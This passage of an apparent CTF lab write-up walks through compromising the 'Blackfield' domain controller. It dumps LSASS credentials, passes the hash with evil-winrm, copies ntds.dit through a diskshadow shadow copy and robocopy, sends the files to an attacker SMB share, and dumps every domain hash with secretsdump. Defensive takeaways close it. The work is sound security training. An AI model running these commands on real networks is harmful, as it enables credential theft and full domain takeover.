2020-02-23T17:57:46.554117+00:00 sid S-1-5-96-0-1 luid 24282 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [5eda]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [5eda]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 22028 (560c) session_id 0 username domainname logon_server logon_time 2020-02-23T17:57:44.959593+00:00 sid None luid 22028 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == LogonSession == authentication_id 999 (3e7) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:57:44.913221+00:00 sid S-1-5-18 luid 999 == WDIGEST [3e7]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: dc01$ Domain: BLACKFIELD.LOCAL AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: ae7032a985fe7303c182f82d15df15b1ccf731c7f33947e3bd2f193d12d9d684 == WDIGEST [3e7]== username DC01$ domainname BLACKFIELD password None password (hex) == DPAPI [3e7]== luid 999 key_guid 0f7e926c-c502-4cad-90fa-32b78425b5a9 masterkey ebbb538876be341ae33e88640e4e1d16c16ad5363c15b0709d3a97e34980ad5085436181f66fa3a0ec122d461676475b24be001736f920cd21637fee13dfc616 sha1_masterkey ed834662c755c50ef7285d88a4015f9c5d6499cd == DPAPI [3e7]== luid 999 key_guid f611f8d0-9510-4a8a-94d7-5054cc85a654 masterkey 7c874d2a50ea2c4024bd5b24eef4515088cf3fe21f3b9cafd3c81af02fd5ca742015117e7f2675e781ce7775fcde2740ae7207526ce493bdc89d2ae3eb0e02e9 sha1_masterkey cf1c0b79da85f6c84b96fd7a0a5d7a5265594477 == DPAPI [3e7]== luid 999 key_guid 31632c55-7a7c-4c51-9065-65469950e94e masterkey 825063c43b0ea082e2d3ddf6006a8dcced269f2d34fe4367259a0907d29139b58822349e687c7ea0258633e5b109678e8e2337d76d4e38e390d8b980fb737edb sha1_masterkey 6f3e0e7bf68f9a7df07549903888ea87f015bb01 == DPAPI [3e7]== luid 999 key_guid 7e0da320-072c-4b4a-969f-62087d9f9870 masterkey 1fe8f550be4948f213e0591eef9d876364246ea108da6dd2af73ff455485a56101067fbc669e99ad9e858f75ae9bd7e8a6b2096407c4541e2b44e67e4e21d8f5 sha1_masterkey f50955e8b8a7c921fdf9bac7b9a2483a9ac3ceed ``` **Key Credentials Extracted** | Account | NT Hash | | --------------- | ---------------------------------- | | `svc_backup` | `9658d1d1dcd9250115e2205d9f48400d` | | `Administrator` | `7f1e4ff8c6a8e6b6fcae2d9c0572cd62` | | `DC01$` | `b624dc83a27cc29da11d9bf25efea796` | > **Note:** The Administrator hash found in LSASS at this stage may be stale/rotated. The `svc_backup` hash is reliable and is used first. *** ### User Flag — as `svc_backup` #### Pass-the-Hash via Evil-WinRM ```bash ┌──(kali㉿kali)-[~/Documents/blackfield/memory_analysis] └─$ evil-winrm -i 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d *Evil-WinRM* PS C:\Users\svc_backup\Documents> type ..\Desktop\user.txt 3920xxxxxxxxxxxxxxxxxxxxxxxb543 ``` #### Privilege Check ```bash *Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /all USER INFORMATION ---------------- User Name SID ===================== ============================================== blackfield\svc_backup S-1-5-21-4194615774-2175524697-3563712290-1413 GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled. ``` `svc_backup` is a member of the **Backup Operators** group. This group has the ability to read any file on the system (bypassing NTFS ACLs) via the backup APIs — exactly what `SeBackupPrivilege` enables. *** ### Privilege Escalation — `svc_backup` → `Administrator` #### Strategy: DiskShadow + Robocopy → NTDS.dit Extraction The `ntds.dit` file (the Active Directory database containing all password hashes) is locked by the OS while the domain controller is running. We need to: 1. Create a **Volume Shadow Copy** of the C: drive using `diskshadow` 2. Use **robocopy** with `/b` (backup mode) to copy `ntds.dit` from the shadow copy 3. Export the **SYSTEM hive** (needed to decrypt the hashes) 4. Transfer both files to Kali 5. Run `impacket-secretsdump` to extract all hashes #### Step 1: Create the DiskShadow Script ```bash *Evil-WinRM* PS C:\Users\svc_backup\Documents> "set context persistent nowriters" | Out-File C:\temp\diskshadow.txt -Encoding ascii *Evil-WinRM* PS C:\Users\svc_backup\Documents> "set metadata C:\temp\meta.cab" | Out-File -Append C:\temp\diskshadow.txt -Encoding ascii *Evil-WinRM* PS C:\Users\svc_backup\Documents> "add volume C: alias shadowcopy" | Out-File -Append C:\temp\diskshadow.txt -Encoding ascii *Evil-WinRM* PS C:\Users\svc_backup\Documents> "create" | Out-File -Append C:\temp\diskshadow.txt -Encoding ascii *Evil-WinRM* PS C:\Users\svc_backup\Documents> "expose %shadowcopy% Z:" | Out-File -Append C:\temp\diskshadow.txt -Encoding ascii ``` Resulting `diskshadow.txt`: ```bash *Evil-WinRM* PS C:\Users\svc_backup\Documents> type C:\temp\diskshadow.txt set context persistent nowriters set metadata C:\temp\meta.cab add volume C: alias shadowcopy create expose %shadowcopy% Z: ``` #### Step 2: Execute DiskShadow ```bash *Evil-WinRM* PS C:\Users\svc_backup\Documents> diskshadow /s C:\temp\diskshadow.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 3/20/2026 1:33:40 PM -> set context persistent nowriters -> set metadata C:\temp\meta.cab -> add volume C: alias shadowcopy -> create Alias shadowcopy for shadow ID {0177886d-977a-48ed-9f94-5eba1442b2d7} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {b7d776e4-ab8c-4634-9f10-5f7cb4bec47a} set as environment variable. Querying all shadow copies with the shadow copy set ID {b7d776e4-ab8c-4634-9f10-5f7cb4bec47a} * Shadow copy ID = {0177886d-977a-48ed-9f94-5eba1442b2d7} %shadowcopy% - Shadow copy set: {b7d776e4-ab8c-4634-9f10-5f7cb4bec47a} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\] - Creation time: 3/20/2026 1:33:41 PM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential Number of shadow copies listed: 1 -> expose %shadowcopy% Z: -> %shadowcopy% = {0177886d-977a-48ed-9f94-5eba1442b2d7} The shadow copy was successfully exposed as Z:\. -> ``` The `/b` flag invokes backup semantics, bypassing NTFS permissions. #### Step 3: Export the SYSTEM Hive ```bash *Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SYSTEM C:\temp\SYSTEM The operation completed successfully. ``` The shadow copy is created and exposed as drive `Z:\`. #### Step 4: Copy ntds.dit via Backup Mode ```bash *Evil-WinRM* PS C:\Users\svc_backup\Documents> robocopy /b Z:\Windows\NTDS C:\temp ntds.dit ...SNIP... Speed : 93437465 Bytes/sec. Speed : 5346.534 MegaBytes/min. Ended : Friday, March 20, 2026 1:34:29 PM ``` The SYSTEM hive contains the boot key used to encrypt credential material in `ntds.dit`. #### Step 5: Exfiltrate the Files **ntds.dit** — downloaded directly via Evil-WinRM: ``` *Evil-WinRM* PS C:\Users\svc_backup\Documents> download C:\\temp\\ntds.dit Info: Downloading C:\temp\ntds.dit to ntds.dit Info: Download successful! ``` **SYSTEM hive** — transferred via an SMB server (Evil-WinRM had trouble with this file): On Kali: ```bash ┌──(kali㉿kali)-[~] └─$ impacket-smbserver smb $(pwd) -smb2support -username smbuser -password smbpass ``` On the target: ```bash *Evil-WinRM* PS C:\temp> net use K: \\10.10.16.5\smb /user:smbuser smbpass The command completed successfully. *Evil-WinRM* PS C:\temp> copy C:\temp\SYSTEM K:\ ``` *** ### Domain Compromise — All Hashes #### Dumping NTDS with impacket-secretsdump ```bash ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:44ed993c26a31d2dbfc12e9abe3a5a00::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d::: audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa::: support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212::: BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c::: ...SNIP... ``` ### Root Flag — as `Administrator` #### Pass-the-Hash ```bash ┌──(kali㉿kali)-[~/Documents/blackfield/memory_analysis] └─$ evil-winrm -i 10.129.229.17 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt 4375xxxxxxxxxxxxxxxxxxxxxxxxxxx55cb ``` Full domain compromise achieved. ✅ *** ### Attack Chain Summary ``` ASREPRoast (support) │ ▼ Crack hash → support:#00^BlackKnight │ ▼ BloodHound: ForceChangePassword edge Reset Audit2020 password │ ▼ SMB forensic share → lsass.zip │ ▼ pypykatz → svc_backup NT hash │ ▼ Evil-WinRM (Pass-the-Hash) → user.txt │ ▼ SeBackupPrivilege / Backup Operators DiskShadow VSS → robocopy ntds.dit │ ▼ impacket-secretsdump → Administrator NT hash │ ▼ Evil-WinRM (Pass-the-Hash) → root.txt ✅ ``` *** ### Key Techniques & Tools | Technique | Tool | Purpose | | --------------------- | ---------------------------------- | ------------------------------------------ | | ASREPRoasting | `impacket-GetNPUsers` | Obtain offline-crackable Kerberos hash | | Hash cracking | `john` + rockyou | Recover plaintext password | | AD graph analysis | `bloodhound-python`, BloodHound UI | Discover `ForceChangePassword` edge | | Forced password reset | `bloodyAD` | Abuse ACL to reset Audit2020 | | SMB file access | `smbget`, `nxc` | Retrieve LSASS dump from forensic share | | Credential parsing | `pypykatz` | Extract NT hashes from LSASS minidump | | Pass-the-Hash | `evil-winrm` | Authenticate without plaintext password | | Shadow copy | `diskshadow` | Create VSS snapshot to access locked files | | Backup file copy | `robocopy /b` | Bypass NTFS ACLs using SeBackupPrivilege | | Registry export | `reg save` | Extract SYSTEM hive for decryption key | | Domain hash dump | `impacket-secretsdump` | Decrypt and extract all AD credentials | *** ### Defensive Takeaways * **ASREPRoasting** — Enforce Kerberos pre-authentication on all accounts. Audit `DONT_REQUIRE_PREAUTH` with: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}`. * **Weak passwords** — `#00^BlackKnight` was in rockyou. Use long, random passphrases and enforce minimum complexity. * **ForceChangePassword ACL** — Regularly audit AD delegated permissions. Excessive ACL rights on accounts are a common path for lateral movement. * **LSASS dump access** — Restrict access to memory dumps. Enable **Credential Guard** and **Protected Users** security group to prevent clear-text credential caching. * **Backup Operators group** — Treat Backup Operators as equivalent to Domain Admins for security purposes. Minimize membership and monitor its use. * **NTDS.dit access** — Monitor for `diskshadow`, `vssadmin`, and `robocopy /b` usage. Alert on access to `NTDS\ntds.dit` paths. * **Pass-the-Hash** — Enable **Protected Users** group for privileged accounts. Enforce network logon restrictions. Consider tiered administration models.